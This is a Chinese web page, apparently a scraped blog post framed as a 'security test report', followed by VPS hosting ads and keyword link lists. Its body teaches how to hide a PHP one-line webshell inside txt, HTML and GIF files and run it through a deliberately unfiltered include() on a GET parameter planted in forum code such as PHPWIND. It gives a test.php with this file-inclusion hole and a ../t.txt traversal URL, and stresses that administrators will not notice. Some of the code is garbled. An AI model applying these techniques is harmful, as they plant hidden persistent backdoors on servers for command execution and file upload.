文件网站安全测试报告

网站安全测试  时间:2021-02-14  阅读:()

网站安全测试报告

最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里其实把一句话木马插入到PHP文件中就已经很隐蔽了如果说硬是要放到HTML文件或图片里就接着往下看这篇的篇测试报告吧。要知道如果光把P HP语句放到图片里是无论如何也不能执行的 因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 include、 require等。

我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include("x.gif")这样的语句来调用隐藏在图片的木马语句。 ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。 由于URL里用GET方式很难传递参数这就使得插入木马的性能得不到发挥。

Include函数在PHP中使用的比较频繁所以引起的安全问题也实在太多例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。 由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句

‘’?@includeinclud/.$PHPWIND_ROOT;?一般管理员是无法看出来的。

有了include函数来辅助帮忙我们就可以把PH P木马隐藏到诸如txt、 html和图片文件等很多类型的文件里来了。 因为txt、 html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了下面我们就依次来做测试。

首先建立一PHP文件test.php文件内容为:

$test=$_GET[''' 'test'' ' '];

@include' ' ''test/' ''' .$test;

?

Txt文件一般都是说明文件所以我们把一句话木马放到目录的说明文件里就O K了。随便建立一个TX T文件t.txt。我们把一句话木马粘贴到t.txt文件里。然后访问

//localhost/test/test.php?test=. ./t.txt如果你看到t.txt的内容就证明Ok了然后把在lanker微型PHP后门客户端木马地址添入//localhost/test/test.php?test=. ./t.txt密码里添入cmd就可以了执行返回的结果都可以看到。

对于HTML的文件一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来我们可以在HTML里加入一个隐藏属性的文本框如然后使用方法同上。执行的返回结果一般都可以查看源文件看到。如使用查看本程序目录功能。查看源文件内容为我可以得到目录为C:\Uniserver2_7s\www\test。

下面我们说说图片文件要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑把插入到图片末尾

经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入

我们查看P HP环境变量返回的是结果是原图片。

这里可能要和我们想象的结果有些差距了其实命令已经运行了只是返回的结果看不到而已 因为这是真正的GIF文件所以是不会显示返回结果的 为了证明是否真的执行了命令我们执行上传文件命令。果不出所料文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。如果你想看到返回的结果那就拿出记事本伪造一个假的图片文件吧。

到这里就基本测试完了 怎样隐蔽PHP后门就看你自己的选择了。行文仓促如有不妥之处请指出!

ShineServers(5美元/月)荷兰VPS、阿联酋VPS首月五折/1核1G/50GB硬盘/3TB流量/1Gbps带宽

优惠码50SSDOFF 首月5折50WHTSSD 年付5折15OFF 85折优惠,可循环使用荷兰VPSCPU内存SSD带宽IPv4价格购买1核1G50G1Gbps/3TB1个$ 9.10/月链接2核2G80G1Gbps/5TB1个$ 12.70/月链接2核3G100G1Gbps/7TB1个$ 16.30/月链接3核4G150G1Gbps/10TB1个$ 18.10/月链接阿联酋VPSCPU内存SS...

paypal$10的代金券,选购美国VPS

paypal贝宝可撸$10的代金券!这两天paypal出了活动,本次并没有其他的限制,只要注册国区的paypal,使用国内的手机号和62开头的银联卡,就可以获得10美元的代金券,这个代金券购买产品需要大于10.1美元,站长给大家推荐几个方式,可以白嫖一年的VPS,有需要的朋友可以看看比较简单。PayPal送10美元活动:点击直达活动sfz与绑定卡的号码可以重复用 注册的邮箱,手机号与绑的银联卡必须...

10gbiz七月活动首月半价$2.36/月: 香港/洛杉矶CN2 GIA VPS

10gbiz怎么样?10gbiz 美国万兆带宽供应商,主打美国直连大带宽,真实硬防。除美国外还提供线路非常优质的香港、日本等数据中心可供选择,全部机房均支持增加独立硬防。洛杉矶特色线路去程三网直连(电信、联通、移动)回程CN2 GIA优化,全天低延迟。中国大陆访问质量优秀,最多可增加至600G硬防。香港七星级网络,去程回程均为电信CN2 GIA+联通+移动,大陆访问相较其他香港GIA线路平均速度更...

网站安全测试为你推荐
优酷路由宝怎么赚钱优酷路由宝是如何赚钱的?vista系统重装怎样重装vista系统中国论坛大全安徽论坛都有哪些?依赖注入依赖注入到底是为了解决什么问题的硬盘人硬盘是指什么人xp系统停止服务XP系统为什么要停止服务?二层交换机集线器和二层交换机,三层交换机的区别什么是云平台什么是云平台管理软件,一个云平台软件应该具有哪些基本功能虚拟机软件下载谁有好的虚拟机软件?微信电话本怎么用如何启用微信通讯录
域名反查 东莞电信局 linode 59.99美元 iis安装教程 新站长网 网通代理服务器 三拼域名 40g硬盘 web服务器架设 广州服务器 新睿云 双12 华为云建站 lamp是什么意思 学生服务器 97rb 免费主页空间 hdsky 腾讯服务器 更多